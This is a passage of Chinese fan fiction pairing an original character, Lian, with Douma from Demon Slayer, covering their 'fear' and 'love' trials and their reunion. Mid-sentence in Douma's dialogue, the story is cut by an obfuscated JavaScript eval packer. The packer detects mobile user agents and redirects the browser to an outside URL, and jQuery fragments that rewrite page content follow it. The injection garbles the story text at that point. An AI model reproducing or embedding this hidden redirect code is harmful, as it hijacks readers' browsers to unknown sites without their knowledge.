【第四考——惧】


    那道声音落下，缓缓消散在空旷的空间中。声音的余韵还在冰晶墙壁间回荡，一圈一圈，越来越轻，越来越远，最终归于寂静。


    “莲呐，去学校要和哥哥好好相处哦。”莲面无表情地睁眼，自己刚刚好像睡着了，并且做了一个很长很长的梦。


    面前笑得一脸假的老阿姨还在嘱托，反而她身旁的儿子不耐烦了，等都没等莲便独自出去了。


    “这孩子。”老阿姨假装生气，接着回头夹着嗓子和莲讲话，“莲呐，其实你叔叔公司那……”


    无聊……


    莲不想再虚与委蛇下去了，反正沈白两家那边他已经掌握得差不多了，与其在这浪费时间，还不如花出时间来研究一下那个梦，更准确的来说，是那个梦中看不清脸的爱人。


    不管身后已经破防的老阿姨，莲拿出电话让自己人来接自己。


    在回去的路上，莲百无聊赖地坐在车的后座上，一个白橡色的东西闯入了眼睛，还没等他叫停，车就因为红灯停在了路口，而他的车窗，刚好正对一家咖啡厅。


    “沈总，那家咖啡厅名叫——”


    生活助理的声音从副驾驶传来，叽里咕噜地说着什么，莲没有听清。他的目光被那张海报钉住了，像是被施了咒，无法移开。


    “——在各个地方都有分店，最近他们正在和一个叫《鬼灭之刃》的动漫联动。”


    莲听到了最后几个字。


    鬼灭之刃。


    他指着那张海报，指着那个白橡色头发的人，声音有些不稳：“他是谁？”


    生活助理专业地推了一下眼镜，镜片反了一下光：“他是《鬼灭之刃》中的反派角色，名叫童磨。是上弦之贰，极乐教的教主。他的血鬼术是冰，能够制造冰晶和冻雾。性格——”


    莲没有再听。


    他只是看着那张海报，看着那双彩色的眼瞳，看着那抹似笑非笑的弧度。


    他低声念了一遍：“童磨么……”


    “完——全——找——不——到——欸！”


    童磨在房间里鼓着脸，气鼓鼓地听着下人的汇报，这可是他久违的做梦，其中最有趣的就是一个叫莲的孩子。


    爱人。


    多么有趣的身份，可是完全找不到本人在哪呢！


    【童磨你在发什么疯？】


    久违的老板来语音了，显然，他那些到处找人的手下惊动了老板。


    童磨的眼睛亮了，极其兴奋的给对方分享着。


    “爱人欸！无惨大人！”童磨笑嘻嘻的左右摇晃着身体，声音里带着一种孩子般的雀跃，“是一个超——可爱的孩子，我怎么能让这个孩子在外忍受痛苦呢。”


    说着，他猛地环抱住了自己，手臂收紧，像是在拥抱什么看不见的东西。他的嘴角弯着，眼睛也弯着，整个人散发着一种诡异的、让人脊背发凉的幸福感。


    “当然是要把他领往极乐才行。”


    “无惨大人？”吐露完自己的兴奋后，童磨发现老板许久没有出声了，在又呼唤了两句后才发现，对面已经单方面屏蔽了自己。


    “那个词怎么说来着……”童磨思索的点点嘴唇，一个小灯泡从他的头顶冒出，他以拳击掌迅速脱口而出。


    “单身狗是不会理解的！”


    “砰！”


    童磨的脑袋应声碎裂，但因为鬼的特质，很快便恢复了过来。


    “无惨大人好凶哦~”


    “沈总……”下面的人有些颤抖的看着坐在上位的莲，因为背对着阳光，完全看不到对方的表情，“全息投影和ai已经达到了可以触摸的程度，我们真的……”


    那人咽了口唾沫，额头上渗出细密的汗珠。


    “真的要研制所谓打破次元壁的机器吗……”


    会议室里安静得可怕。所有人都低着头，不敢抬头看。他们面前的长桌上摊着厚厚的文件，上面写满了技术参数、预算方案、风险评估。每一页都盖着沈氏的印章，每一页都签着同一个名字。


    莲没有回答。


    他只是坐在那里，阳光在他身后勾勒出一道暗色的轮廓。他的手指在桌面上轻轻敲着，一下，一下，一下。那声音很轻，却像锤子一样敲在每个人的心口上。


    原本温和的沈总已经不见了。


    那个会笑着和员工打招呼、会记得每个下属名字的沈总，已经消失很久了。


    自从对方迷恋上那个名叫童磨的动漫人物后，就一发不可收拾了。先是收集周边，然后是投资动画公司，再然后是收购版权。最后是买断一切版权和著作权。


    如果把对方比作一个空洞，那么只有这个名叫童磨的动漫人物的一切，才能填补沈总的空洞。


    可这一切远远不够。


    现在，他要造一台机器，一台能打破次元壁的机器。


    所有人都觉得他疯了。


    但没有人敢说。


    “你是在想他的坏话吗？”


    一个声音从头顶传来，冷得像是从冰窖里吹出来的风。


    那人浑身一僵，还没来得及抬头，就感觉一股凉意逼近。他的下巴被一把金扇抬了起来。


    顺着扇子看过去，是一双彩色的眼瞳。


    那双眼睛就在他面前，但能看出来这个彩色，是佩戴了美瞳才出现的颜色。空洞无神，把曾经蕴藏神秘的黑瞳完全覆盖。


    “可怜的孩子。”


    泪从那彩瞳中流出，一滴，两滴，落在他的脸上，温热而湿润。但那双眼睛却没有蕴含任何感情。


    只有一片空洞的、如同深渊般的平静。


    “没关系的，我会引领你去往极乐的。”


    “真可怜，你完全感受不到感情吧。”


    看着面前面露嘲讽的少女，童磨短暂的失去了表情，随后绽放出了更加灿烂的笑容，“你完全错了呢！”


    他拂过胸口，这颗心脏似乎只为那个可爱的孩子跳动，他的声音变了。不再是那种公式化的轻快，而是带着一种真实的、有温度的柔软。


    “莲酱真是狠心，把我的全部夺走，全唯独没有带上我。”


    “是么？”


    一个不属于在场任何人的声音突兀的出现在了这里。


    在对手震惊的目光中，童磨猛地转头，只看到了一个和自己极其相似的人。


    不过对方的眼睛似乎被什么遮挡，彩瞳呈现出的颜色很淡，对方嘴角翘起的弧度比起他的公式化，更加自然，尤其是在两人对视后，对方笑的更温柔了。


    是莲！


    童磨的脑中此刻被这个名字沾满。


    “我终于找到你了。”莲快步上前，抚上童磨的脸，给予了一个深厚的吻，那吻很深，很重，带着一种失而复得的贪婪。他的手臂环住童磨的脖颈，把两个人的距离缩短到零。


    “童磨。”他在唇齿间唤了一声。


    随着莲唤出他的名字，那梦中的记忆才算正式恢复。


    他早就不是什么上弦之贰了，而现在的一切都是神考。


    他差点就陷进去了。差点就忘了自己是谁，忘了莲是谁，忘了那些并肩作战的日子，忘了那些生死与共的时刻。差一点。


    “差点因为恐惧，就去晒太阳了呢，莲酱~”童磨埋在莲的脖颈处，鼻尖贴着莲的皮肤，疯狂地吸入对方的气味。


    他的手臂收紧了，把莲箍在怀里，力道大得像是在确认这个人不会消失。


    “为什么是想要去晒太阳。”同时也恢复了记忆的莲，把手伸进童磨的头发里，轻轻地安抚着，另一只手摸向自己的眼睛，把里面的美瞳取了出来。那双彩色的眼瞳终于恢复了原本的模样。


    “因为总有一个直觉，死掉就会见到莲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386126|184794||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    酱呢。”童磨抬头委屈巴巴的看着莲，那双彩瞳里湿漉漉的，嘴角向下撇着，腮帮子微微鼓起，整张脸上写满了“我好委屈快来哄我”。


    “但又感觉不对劲，就没有去晒太阳！”他的语气里带着邀功的味道。


    “辛苦了。”莲再次亲了亲童磨，完全没有在意现在所在的位置。


    反正是幻境，莲悄悄目移，所以自己毁灭的也是一个幻境而已。


    恢复了心意相通后，童磨马上就知道了莲都做了什么，笑嘻嘻的开口：“莲酱变成毁灭世界的大魔王了呢！”


    “科技好有趣，居然连次元壁都钻破了，我……”


    莲的耳朵尖红了。他飞快地伸手，捏住了童磨的嘴。


    童磨的嘴被捏成鸭子状，说不出一句完整的话。但他那双彩色的眼瞳弯成了月牙，里面盛满了笑意。


    【也辛苦莲酱了呢。】虽然嘴被捏住了，但想法可捏不住，【沉浸在失去一切的恐惧中，莲酱也不好受吧~】


    他抱着莲转了一个圈，莲的身体很轻，在他怀里像是没有重量。童磨仰头看着他，看着阳光在他的发丝间跳跃，看着他的彩瞳中倒映着自己的脸。


    【莲酱能找到我，真是太好啦~】


    【第五考——爱】


    神秘音极其不给面子的将两人再次分开。


    莲只觉得眼前一花，童磨握着的手就空了。


    等他再次站稳的时候，面前已经多了一个人。


    那人站在不远处，白橡色的头发，彩色的眼瞳，嘴角挂着一丝似笑非笑的弧度。衣服、站姿、甚至连呼吸的节奏，都和童磨一模一样。


    那人看着他，眼中盛满了温柔。


    “莲酱。”


    声音也一样。慵懒的、带着笑意的、尾音微微上扬的调子。


    莲没有说话。


    他只是有些无语的看着面前这个人。


    “你是说，”莲最后还是没忍住开口吐槽，“在我千辛万苦找回了童磨的情况下，我们还能分不清对面站着的，到底是不是对方吗？”


    面前那个“童磨”的笑容僵了一瞬。


    “你是觉得我们相认的时候不够感人？还是觉得我们在幻境里吃的苦不够多？非要再来一个‘真假美猴王’的桥段？”


    莲的吐槽还在继续。


    “第一，我们有心意相通，你连我脑子里在想什么都读不出来，第二，就算没有心意相通，你觉得我会认不出他？第三——”


    他顿了顿，看着面前那个越来越僵硬的“童磨”，嘴角微微翘起。


    “你连他标准的波浪号都模仿不到位。”


    “童磨”张了张嘴，想说什么，却发现自己什么都说不出来。


    莲摆了摆手，“这一段能过掉吗，直接下一关。”


    说完，他盘腿坐了下来，双手环胸，闭上眼睛，一副“我不配合”的模样。


    另一边，童磨也在经历同样的事情。


    他面前站着一个“莲”。


    那“莲”穿着莲常穿的衣服，白橡色的头发柔顺地垂在肩侧，彩色的眼瞳中带着几分温和的笑意。他站在那里，安静地看着童磨，如同真正的莲一样，温柔而沉静。


    “童磨。”“莲”开口，声音柔和，“我终于找到你了。”


    童磨眨了眨眼。


    他围着那个“莲”转了一圈。


    “莲酱应该吐槽过这个了，”他自言自语道，声音里带着几分幸灾乐祸，“那我要吐槽一下别的。”


    他在“莲”面前站定，歪着头，彩瞳中满是嫌弃。


    “好没心意啊。”


    “去骗骗小唐三好了，我们已经分辨出来啦~快下一关吧~我们赶时间~~”


    两个世界，两个人，两副一模一样的不配合姿态。


    【…………】神秘音感觉从来没这么无语过。